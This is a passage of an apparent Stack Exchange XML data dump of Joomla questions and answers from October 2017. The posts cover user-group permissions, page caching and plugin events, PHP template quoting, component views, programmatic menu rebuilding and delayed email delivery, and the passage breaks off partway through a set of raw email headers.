route.php to work the way you want.&lt;/p&gt;&#xA;" OwnerUserId="9459" LastActivityDate="2017-10-11T22:41:02.880" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21713" PostTypeId="1" CreationDate="2017-10-12T02:01:53.910" Score="1" ViewCount="76" Body="&lt;p&gt;I've been looking for an answer to this problem, but the only thing I find are simple examples that can't solve my problem. I'm new to Joomla and I've tried to manage this as I used to do it in phpBB, where you had groups of users that could post in certain forums, and a user could be a part of one or more groups with different permissions. I wanna do the same here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I wanna have three groups of users; G1, G2, G3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I have two categories: Cat2, Cat3. G2 can post to Cat2 ONLY. G3 can post to Cat3 ONLY.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, User1 belongs to G1, and he can't post anything, anywhere. He's just a registered user that can access certain areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User2 belongs to G2 and G3, so he can post in Cat2 cand Cat3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User3 belongs to G2, so he can post only in Cat2, but not in Cat3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&#xA;I even read something like there's not a straightforward solution to this, which seems very weird to me, since it's a basic functionality to many forums/CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mQfHN.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;tl;dr I wanna do the thing in this diagram&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11663" LastActivityDate="2017-10-12T02:01:53.910" Title="How to allow specific groups to post in specific categories on Joomla?" Tags="|acl|joomla-user-groups|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21715" PostTypeId="2" ParentId="21698" CreationDate="2017-10-12T03:32:27.460" Score="1" Body="&lt;p&gt;It depends on which of the caching systems you're using (Joomla has three) and the components (since different components can trigger plugin events at different points of their execution path).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you're caching by using the &lt;code&gt;System - Page Cache&lt;/code&gt; plugin, then there are only two plugin events that will fire before a cached page is served:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is the &lt;code&gt;System&lt;/code&gt; &gt; &lt;code&gt;onAfterInitialise()&lt;/code&gt; event IF the plugin is ordered so that it's before the &lt;code&gt;System - Page Cache&lt;/code&gt; plugin. This is because &lt;code&gt;System&lt;/code&gt; &gt; &lt;code&gt;onAfterInitialise()&lt;/code&gt; is the first event fired by Joomla and it's the event that &lt;code&gt;System - Page Cache&lt;/code&gt; uses. So you'd have to have a plugin jump in on that event and before &lt;code&gt;System - Page Cache&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other is an event fired by the &lt;code&gt;System - Page Cache&lt;/code&gt; plugin itself: &lt;code&gt;pagecache&lt;/code&gt; &gt; &lt;code&gt;onPageCacheSetCaching()&lt;/code&gt;. That event is used to turn off caching for specific conditions. An example of when to use this is if you wanted a plugin that makes sure the Facebook bot never gets a cached page. This event only became available in Joomla 3.8 (I believe).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the other two caching systems (&lt;code&gt;Page Cache - Conservative&lt;/code&gt; and &lt;code&gt;Page Cache - Progressive&lt;/code&gt;) it really depends on the component. They decide if their views can be cached and they decide what and when to trigger plugin events. Generally though (ie, for com_content and most other core Joomla components) the controller will decide whether to cache the view being requested or not and most plugin events fire in the view. In other words, their events will not fire if the page is cached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's use com_content as an example (assuming a front-end non-editing load of a com_content view):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;components/com_content/controller.php&lt;/code&gt; the &lt;code&gt;display()&lt;/code&gt; method's first parameter is a boolean that sets whether or not to cache the view once it's built (and whether or not to server the cached file if it exists). All (front-end non-editing) com_content event triggers (&lt;code&gt;onContentPrepare&lt;/code&gt;, &lt;code&gt;onContentAfterTitle&lt;/code&gt;, &lt;code&gt;onContentBeforeDisplay&lt;/code&gt;, &lt;code&gt;onContentAfterDisplay&lt;/code&gt;) are triggered in the view files (ex: see &lt;code&gt;/views/article/view.html.php&lt;/code&gt;). So if the cached view is served, none of those triggers will fire (since &lt;code&gt;view.html.php&lt;/code&gt; is not used).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other component might have a plugin trigger before it does the request to retrieve the cached code though. In that situation it would continue to fire regardless of whether the view is cached or not.&lt;/p&gt;&#xA;" OwnerUserId="9459" LastActivityDate="2017-10-12T03:32:27.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21716" PostTypeId="1" CreationDate="2017-10-12T03:44:58.890" Score="2" ViewCount="89" Body="&lt;p&gt;I'm managing a Joomla website that uses DJ Classifieds as the main component; the 'ads' are actually resumes, and employers buy a subscription to access an ad's details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past, users who didn't have a subscription were redirected to a sign up blurb (an article) when they clicked on the listing's title; users who did have an active subscription were taken to the ad's details page. This process was handled by OS Membership, which added users to an 'authorised' user group upon purchasing a subscription, and in DJ Classifieds, I set access to ad details to that same user group. It all worked perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem was, though, that the browser was creating 301 redirects; any user who clicked on an ad BEFORE buying a subscription was redirected to the sign up blurb but, then even after they bought a subscription, the browser continued to redirect them, since a 301 had been created. (that's my layman's understanding of it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The component's developer fixed this by adding a 'no-cache' 'must re-validate' line of code and the problem was solved. However, it also meant I couldn't cache anything and now the site is slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And so, I had a better idea but I can't quite make it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to add some code that does the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if the user belongs to 'authorised' group {&#xA;    show ad title with link to ad detail&#xA;} else {&#xA;    show ad title with link to sign up page&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It sounds easy, but the hard part is knowing how to use apostrophes and quotations; the code from the PHP file is below and it already contains PHP snippets, so my question is, how can I write this to make it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;=== my idea ===&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At top of the php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the page itself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;th style=&quot;&quot; class=&quot;name first &amp;lt;?php echo $class; ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;    $group_id = 3;&#xA;    if(in_array($group_id, $user-&amp;gt;getAuthorisedGroups()))&#xA;    { &#xA;        //when the user is in the authorised group&#xA;&#xA;        echo '&amp;lt;a &amp;lt;?php echo $title_a_style;?&amp;gt; class=&quot;&amp;lt;?php echo $class; ?&amp;gt;&quot; href=&quot;index.php?option=com_djclassifieds2&amp;amp;view=items&amp;amp;cid=&amp;lt;?php echo $main_id; ?&amp;gt;&amp;amp;order=title&amp;amp;ord_t=&amp;lt;?php echo $ord_t.'&amp;amp;Itemid='.$Itemid;?&amp;gt;&amp;lt;?php echo $se_link;if($uid){ echo '&amp;amp;uid='.$uid; }?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php echo JText::_('COM_DJCLASSIFIEDS2_TITLE');&#xA;        if($order==&quot;title&quot;){&#xA;            if($ord_t=='asc'){&#xA;                echo '&amp;lt;img src=&quot;'.JURI::base().'/components/com_djclassifieds2/assets/images/sort_desc.gif&quot; alt=&quot;&quot; /&amp;gt;';&#xA;            }else{&#xA;                echo '&amp;lt;img src=&quot;'.JURI::base().'/components/com_djclassifieds2/assets/images/sort_asc.gif&quot; alt=&quot;&quot; /&amp;gt;';&#xA;            }&#xA;        }else{&#xA;            echo '&amp;lt;img src=&quot;'.JURI::base().'/components/com_djclassifieds2/assets/images/sort.gif&quot; alt=&quot;&quot; /&amp;gt;';&#xA;        }&#xA;    ?&amp;gt;&#xA;    &amp;lt;/a&amp;gt;;'&#xA;    }else{&#xA;        echo '&amp;lt;a &amp;lt;?php echo $title_a_style;?&amp;gt; class=&quot;&amp;lt;?php echo $class; ?&amp;gt;&quot; href=&quot;/link-to-signup-article&quot;&amp;gt;&#xA;        &amp;lt;?php echo JText::_('COM_DJCLASSIFIEDS2_TITLE');&#xA;        if($order==&quot;title&quot;){&#xA;            if($ord_t=='asc'){&#xA;                echo '&amp;lt;img src=&quot;'.JURI::base().'/components/com_djclassifieds2/assets/images/sort_desc.gif&quot; alt=&quot;&quot; /&amp;gt;';&#xA;            }else{&#xA;                echo '&amp;lt;img src=&quot;'.JURI::base().'/components/com_djclassifieds2/assets/images/sort_asc.gif&quot; alt=&quot;&quot; /&amp;gt;';&#xA;            }&#xA;        }else{&#xA;            echo '&amp;lt;img src=&quot;'.JURI::base().'/components/com_djclassifieds2/assets/images/sort.gif&quot; alt=&quot;&quot; /&amp;gt;';&#xA;        }&#xA;    ?&amp;gt;&#xA;    &amp;lt;/a&amp;gt;;'&#xA;    ?&amp;gt;&#xA;&amp;lt;/th&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I feel embarrassed knowing so little about the above, and I've tried all different permutations but I don't know how to use apostrophes and quotations within the query itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me make this work?&lt;/p&gt;&#xA;" OwnerUserId="11664" LastEditorUserId="11451" LastEditDate="2017-11-12T10:12:00.590" LastActivityDate="2017-11-12T10:12:29.700" Title="Errors with PHP code -- please advise a complete beginner" Tags="|joomla-3.x|php|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21717" PostTypeId="2" ParentId="21716" CreationDate="2017-10-12T09:35:49.207" Score="2" Body="&lt;p&gt;Welcome to JSE. Please do not feel embarassed. We're all here to help and remember we were all in your shoes once....sometimes I find myself there these days :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway as for the code, you had some general PHP issues which would have most likely resulted in fatal errors, such as quotes, double usage of &lt;code&gt;&amp;lt;?php ?&amp;gt;&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've rewritten your code in a more simplistic way and also added some inline comments to help show you the process:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;th style=&quot;&quot; class=&quot;name first &amp;lt;?php echo $class; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;    $group_id = 3;&#xA;&#xA;    // Lets get the image&#xA;    // Define the default image&#xA;    $img = 'sort.gif';&#xA;&#xA;    if ($order === 'title')&#xA;    {&#xA;        $img = 'sort_asc.gif';&#xA;&#xA;        if ($ord_t === 'asc')&#xA;        {&#xA;            $img = 'sort_desc.gif';&#xA;        }&#xA;    }&#xA;&#xA;    // This is the final image path that will be used&#xA;    $img = '&amp;lt;img src=&quot;' . JUri::base() . '/components/com_djclassifieds2/assets/images/' . $img . '&quot; alt=&quot;&quot;&amp;gt;';&#xA;&#xA;    // Now lets do the link&#xA;    //This is the default one&#xA;    $link = '/link-to-signup-article';&#xA;&#xA;    // When the user is in the authorised group, we use a different link&#xA;    if (in_array($group_id, $user-&amp;gt;getAuthorisedGroups()))&#xA;    {&#xA;        $link = 'index.php?option=com_djclassifieds2&amp;amp;view=items&amp;amp;cid=' . $main_id . '&amp;amp;order=title&amp;amp;ord_t=' . $ord_t . '&amp;amp;Itemid=' . $Itemid . $se_link;&#xA;&#xA;        // If the link has a &quot;uid&quot;, add it to the rest of the link&#xA;        if ($uid)&#xA;        {&#xA;            $link .= '&amp;amp;uid=' . $uid;&#xA;        }&#xA;    }&#xA;&#xA;    echo '&amp;lt;a ' . $title_a_style . ' class=&quot;' . $class . '&quot; href=&quot;' . $link . '&quot;&amp;gt;' . JText::_('COM_DJCLASSIFIEDS2_TITLE') . $img . '&amp;lt;/a&amp;gt;';&#xA;?&amp;gt;&#xA;&amp;lt;/th&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was a little unsure about the &lt;code&gt;$title_a_style&lt;/code&gt; and &lt;code&gt;$se_link&lt;/code&gt; variables, as they were being used in your code, but I don't know the where they're being defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-10-12T09:35:49.207" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21718" PostTypeId="1" AcceptedAnswerId="21719" CreationDate="2017-10-12T13:04:26.800" Score="1" ViewCount="442" Body="&lt;p&gt;Today I made my first Joomla component following their &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Developing_a_Basic_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt;. Everything in my component was working as intended until I decided to add a second view to my component. I added a new folder in the &lt;code&gt;/views/&lt;/code&gt; directory of my component and added all the necessary files : &lt;code&gt;view.html.php, index.html, tmpl/default.xml, tmpl/default.php, tmpl/index.html&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my &lt;strong&gt;view.html.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class VacanciesViewSingle extends JViewLegacy&#xA;{&#xA;    var $vacancy = null;&#xA;&#xA;    function display($tpl = null)&#xA;    {&#xA;        $this-&amp;gt;vacancy = $this-&amp;gt;get('Vacancy');&#xA;&#xA;        // // Check for errors.&#xA;        if (count($errors = $this-&amp;gt;get('Errors')))&#xA;        {&#xA;            JLog::add(implode('&amp;lt;br /&amp;gt;', $errors), JLog::WARNING, 'jerror');&#xA;&#xA;            return false;&#xA;        }&#xA;&#xA;        parent::display($tpl);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As long as I understood how components in Joomla work this should call the &lt;code&gt;getVacancy()&lt;/code&gt; method from my model class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside my model class I have only 2 functions:&#xA;&lt;code&gt;getVacancies()&lt;/code&gt; which works perfectly with my other view and &lt;code&gt;getVacancy()&lt;/code&gt; which for debugging purposes return just a number:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getVacancy()&#xA;{&#xA;    return &quot;10&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I'm expecting my view to output &quot;10&quot;. This is my `tmpl/default.php' file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die('Restricted access');&#xA;?&amp;gt;&#xA;&amp;lt;?php echo $this-&amp;gt;vacancy;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS. Opening &lt;code&gt;/index.php?option=com_vacancies&amp;amp;view=single&lt;/code&gt; doesn't return any errors, just my page with blank space where the component output should be...&#xA;PS2. If I change &lt;code&gt;$this-&amp;gt;vacancy = $this-&amp;gt;get('Vacancy');&lt;/code&gt; to &lt;code&gt;$this-&amp;gt;vacancy = &quot;10&quot;&lt;/code&gt; in my view class I get the expected output of '10' so I suppose &lt;code&gt;getVacancy()&lt;/code&gt; is not called for some reason.&lt;/p&gt;&#xA;" OwnerUserId="11652" LastEditorUserId="11652" LastEditDate="2017-10-12T13:19:58.927" LastActivityDate="2017-10-12T15:58:36.317" Title="Component view problem. Model method not called" Tags="|joomla-3.x|component|view|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21719" PostTypeId="2" ParentId="21718" CreationDate="2017-10-12T15:58:36.317" Score="3" Body="&lt;p&gt;It sounds like you only have one model, rather than the expected one-model-per-view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, it is looking for the function in a model related to your singles view, which does not exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try passing a second parameter to the get function to confirm the name of the model you want to use, ie&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;vacancy =$this-&amp;gt;get('vacancy','vacancies');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(replacing 'vacancies' if you have called your model something else)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further details of how the get function works are &lt;a href=&quot;https://docs.joomla.org/API15:JView/get&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-10-12T15:58:36.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21720" PostTypeId="1" CreationDate="2017-10-12T18:39:08.293" Score="2" ViewCount="276" Body="&lt;p&gt;A couple of previous questions have touched on this topic (&lt;a href=&quot;https://joomla.stackexchange.com/questions/5104/programmatically-add-menu-item-in-component&quot;&gt;how to add menu items&lt;/a&gt;, &lt;a href=&quot;https://joomla.stackexchange.com/questions/15787/how-to-add-remove-menu-item-programmatically&quot;&gt;how to hide menu items&lt;/a&gt;), but I'm trying to figure out how to remove or empty a menu and then programmatically refill it. It seems like the task has three parts:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;How do you delete an entire menu?&lt;/strong&gt; Previous answers to manipulating menu items point to &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JTableNested.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;JNestedTable&lt;/a&gt; for menu manipulation, but I don't see a function for accomplishing this--only for deleting a generic row from a table using a primary key value. I could do this outside of the Joomla Framework using a SQL query, but I suspect that is the wrong approach (because it will mess up the lft and rgt values):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DELETE FROM menu WHERE menutype='name'&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;How do you add menu items?&lt;/strong&gt; &lt;a href=&quot;https://joomla.stackexchange.com/questions/5104/programmatically-add-menu-item-in-component&quot;&gt;I believe this was answered here&lt;/a&gt;, but any other thoughts?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Once the menu is deleted and new menu items are added, how do you rebuild the menu?&lt;/strong&gt; I know you can rebuild menus from the backend, but how can you do it programmatically?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks so much!&lt;/p&gt;&#xA;" OwnerUserId="11634" LastActivityDate="2017-10-12T20:01:08.823" Title="How to Completely Remake (Delete, Then Add) Menu Items Through Joomla Framework" Tags="|joomla-3.x|php|joomla-framework-1.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21721" PostTypeId="2" ParentId="21720" CreationDate="2017-10-12T20:01:08.823" Score="1" Body="&lt;p&gt;You are probably best looking at &lt;code&gt;com_menu&lt;/code&gt; and studying how core Joomla does it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For deleting and adding entire menus, you can see the relevant functions at &lt;code&gt;\administrator\components\com_menus\models\menu.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here there is a function called &lt;code&gt;delete&lt;/code&gt;, to which you pass an array of menu IDs, and it deletes them one at a time in a foreach loop.  It's well commented, though does have the ominous comment &lt;code&gt;// TODO: Delete the menu associations - Menu items and Modules&lt;/code&gt; at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also has a function to &lt;code&gt;save&lt;/code&gt; here, which creates or edits menus.  Here  you pass the relevant data to match the fields at &lt;code&gt;administrator\components\com_menus\models\forms\menu.xml&lt;/code&gt;.  Send it an id of 0 if it is a new menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rebuild function is found under &lt;code&gt;\administrator\components\com_menus\models\item.php&lt;/code&gt;.  This isn't well annotated, but it looks like JTable has a function for rebuilding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This file also has the &lt;code&gt;save&lt;/code&gt; function for menu items, which works in a similar way to the way the menu one worked.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-10-12T20:01:08.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21722" PostTypeId="1" CreationDate="2017-10-13T01:02:07.997" Score="2" ViewCount="605" Body="&lt;p&gt;UPDATE UPDATE UPDATE: Okay so all the emails ended up arriving, but they took anywhere from 30 minutes to 9 hours. Here's the raw message of one maybe osmeone can decipher it for me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Delivered-To: my.email@gmail.com&#xA;Received: by 10.80.167.33 with SMTP id h30csp466605edc;&#xA;        Fri, 13 Oct 2017 01:18:39 -0700 (PDT)&#xA;X-Google-Smtp-Source: ABhQp+Rzp4OeWRIvPu0CmqRCXnVCX7Bqy4/HTaMJCNw4SFKdzMoUejiLhSkLhliGO+tFUfNeIGd9&#xA;X-Received: by 10.25.56.87 with SMTP id d23mr259389lfj.105.1507882719273;&#xA;        Fri, 13 Oct 2017 01:18:39 -0700 (PDT)&#xA;ARC-Seal: i=1; a=rsa-sha256; t=1507882719; cv=none;&#xA;        d=google.com; s=arc-20160816;&#xA;        b=bBSy1EhrN9i+2mMafrQINHL9nYODHU0AOyHb8nM1GmcEWFdbU4VzYnh4jTmLrNe6GB&#xA;         u7/0bOIQdYc0AzEBnT2SIG24oMycHSE1YgP8KDyaRB8EYM3BRoQY+qsS/QpfZHm0HP1R&#xA;         5nu9sfrTBY8umMgrmRQdh/yrGpQ72dKm0LuvIBTrCT6L+wXG+WxekK63c88R1VUIYcPI&#xA;         aasegde9/ACtBE7vkEuhKKUXIfKRA+2c4h8/49vuOH9sfHKkrwm6nDxgYYTCsD2fFHGM&#xA;         3DUf4jqmAcqQDAEk6axTzZKf2IFwTXwkc/RTyNSbDcRSBmw9bnGt6DicJkD15ps3YLRD&#xA;         zx+Q==&#xA;ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816;&#xA;        h=user-agent:message-id:subject:to:from:date:mime-version&#xA;         :dkim-signature:arc-authentication-results;&#xA;        bh=0RvcMnu5pCN2DOxALolDUYYsOEPvxq1yCTRb/oaIUXc=;&#xA;        b=pXw4YSY+D0CRZcnBSJkFTG/GSMfsuhCDmR/74V5AV08NA6AuquoxkUSTW6KJAHBo2w&#xA;         AWEHSZbZzC9qAB2mQWDVWxsMkcb4Z32/7aWXrNY7Y/auqoyPbmWL0eI0wnzZWwPD59Ie&#xA;         xexax1A7PzKNrUter7GAunwpJ3n/w5SH/8Y3sEYTdkUcJ/Hkdju5s5hkE/BsQ54ozZBj&#xA;         73b8qdId+We2QuN2LafbSMpXIZjdHfZ9y9RqFa6/stNjYdZ5ByeVOd4zXpFgsd+fdAhL&#xA;         aOCLVwfJe3AUui6ae0QAyAKqJyGKkcKq88AoKYtOXGcMovFtVcD0xDqpg26s5wZBlH4v&#xA;         +nWQ==&#xA;ARC-Authentication-Results: i=1; mx.google.com;&#xA;       dkim=pass header.i=@site.com.au header.s=default header.b=FH97vSCQ;&#xA;       spf=pass (google.com: domain of web@site.com.au designates 27.123.24.218 as permitted sender) smtp.mailfrom=web@site.com.au&#xA;Return-Path: &#xA;Received: from server-62-r21.ipv4.au.syrahost.com (server-62-r21.ipv4.au.syrahost.com. [27.123.24.218])&#xA;        by mx.google.com with ESMTPS id o68si151052lfc.330.2017.10.13.01.18.37&#xA;        for &#xA;        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);&#xA;        Fri, 13 Oct 2017 01:18:38 -0700 (PDT)&#xA;Received-SPF: pass (google.com: domain of web@site.com.au designates 27.123.24.218 as permitted sender) client-ip=27.123.24.218;&#xA;Authentication-Results: mx.google.com;&#xA;       dkim=pass header.i=@site.com.au header.s=default header.b=FH97vSCQ;&#xA;       spf=pass (google.com: domain of web@site.com.au designates 27.123.24.218 as permitted sender) smtp.mailfrom=web@site.com.au&#xA;Received: from server-6f-r7.ipv4.au.syrahost.com (unknown [27.124.114.231]) by halon-out02.au.ds.network (Halon) with ESMTPS id 4fe1de32-afa6-11e7-964f-f8bc1204ff90; Thu, 12 Oct 2017 23:37:29 +0000 (UTC)&#xA;DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=site.com.au; s=default; h=Message-ID:Subject:To:From:Date: Content-Type:MIME-Version:Sender:Reply-To:Cc:Content-Transfer-Encoding: Content-ID:Content-Description:Resent-Date:Resent-From:Resent-Sender: Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:List-Id: List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;&#xA;     bh=0RvcMnu5pCN2DOxALolDUYYsOEPvxq1yCTRb/oaIUXc=; b=FH97vSCQ4JhFyeTLD1Ej+Pwyk psMsl88K08JiDEBryqgb6jv4vlVkQZTuO7dbEbUmKgyAAPbKmrZrODr7zr9uNx1S9UI3b1akzdtFo Ur+pRuT13efrIwpNUEuE1aNTlYqx3kjxqWPHXm+RQGwpQThu38efPOvB9Nv5FdVUrltCWTx+pRziW L23GceFqHfylsZl/oIKcfv2BcNrwWorJtAdX1BvX1lEuOtpzNjwl8ms3V+jEttma1uCIhaHe28tXs M3hodYKY9sLNYvbZVXQ9evLzS5gT/ZDCf0xAhRI+tgdXgfqJN/nUrwxPmG3+Cj7y2RpklMQsUht0d lVVREROtQ==;&#xA;Received: from webmailc2-w01.au.syrahost.com ([43.243.116.98]:43803 helo=webmail.au.syrahost.com) by webcloud25.au.syrahost.com with esmtpa (Exim 4.87) (envelope-from ) id 1e2n2W-001KCx-VF for my.email@gmail.com; Fri, 13 Oct 2017 07:37:29 +0800&#xA;Received: from xcD+OijFriZk7VgghWfLCGEXIguubc6cNFEMON8YQSEIMP9Aadni9A== (msLItenB1bKeZJlrmStJMfuFoA05lQ+4) by webmail.au.syrahost.com with HTTP (HTTP/1.1 POST); Fri, 13 Oct 2017 07:37:20 +0800&#xA;MIME-Version: 1.0&#xA;Content-Type: multipart/alternative; boundary=&quot;=_e266d617eac1f5608f5278983df8035b&quot;&#xA;Date: Fri, 13 Oct 2017 01:37:20 +0200&#xA;From: web@site.com.au&#xA;To: my.email@gmail.com&#xA;Subject: This is a test email&#xA;Message-ID: &#xA;X-Sender: web@site.com.au&#xA;User-Agent: My Webmail/0.9.5&#xA;X-OutGoing-Spam-Status: No, score=-1.9&#xA;X-AntiAbuse: This header was added to track abuse, please include it with any abuse report&#xA;X-AntiAbuse: Primary Hostname - webcloud25.au.syrahost.com&#xA;X-AntiAbuse: Original Domain - gmail.com&#xA;X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]&#xA;X-AntiAbuse: Sender Address Domain - site.com.au&#xA;X-Get-Message-Sender-Via: webcloud25.au.syrahost.com: authenticated_id: web@site.com.au&#xA;X-Authenticated-Sender: webcloud25.au.syrahost.com: web@site.com.au&#xA;X-Source: &#xA;X-Source-Args: &#xA;X-Source-Dir: &#xA;&#xA;--=_e266d617eac1f5608f5278983df8035b&#xA;Content-Transfer-Encoding: 7bit&#xA;Content-Type: text/plain; charset=UTF-8&#xA;&#xA;&#xA;&#xA;&#xA;--=_e266d617eac1f5608f5278983df8035b&#xA;Content-Transfer-Encoding: quoted-printable&#xA;Content-Type: text/html; charset=UTF-8&#xA;&#xA;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&#xA;&amp;nbsp;&#xA;&#xA;&#xA;--=_e266d617eac1f5608f5278983df8035b--&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE UPDATE: So the custom php code way down below that I used to send a test email ALSO successfully delivered - a few hours later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: It seems &lt;em&gt;some&lt;/em&gt; emails are actually being sent, but they're taking over 30 minutes to arrive. So account activation emails are taking FOREVER, but all the other emails I previously listed as &quot;working&quot; are sent and received instantly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;&#xA;X-Apparently-To: my.email@yahoo.com; Fri, 13 Oct 2017 01:39:17 +0000&#xA;Return-Path: &#xA;Received-SPF: none (domain of webcloud25.au.syrahost.com does not designate permitted sender hosts)&#xA;X-YMailISG: HeBvuhkWLDs8ACNrj_JIUpnLan4ZwsGpB5jqRGn5STLHz5N2&#xA; 2G0T4zWC.4cYHw7Nt9R2VV1vvGJDtIqiSRSOjPVbqavWddQSbAndcjRxC365&#xA; CPzLZiRqlLRkvIbAkQzW0dH8H_W0Y49lSFB68xU6fQole_KevllMq5a8N1GR&#xA; vS_vfG4e5r6vNqAB53MgiP5jtF7vhkSwmFWkihix42t.f32nNr.7IbzXa8SL&#xA; Nw37_IhzQknHW.9sHIPBXFP9637CplTNv10FGIBryvCLWCOQ3TWGVzC0gsxQ&#xA; SQcEeQx4V3oZvdogbHRKlNoXKzwIM6qu8zckxMGwE1WcdR59UkjwE7ERKgfp&#xA; 65CbuzPR1zUshZq3bWLbNxt9q9.3.R6MmPvHIZzdWRPhV2RXTiOaYa9fgRQD&#xA; Kzwj9KyUrohjSGRN5OIdtOuUFt.F2kDxwC199wdPWRHTevQksjSAl0xovu5c&#xA; 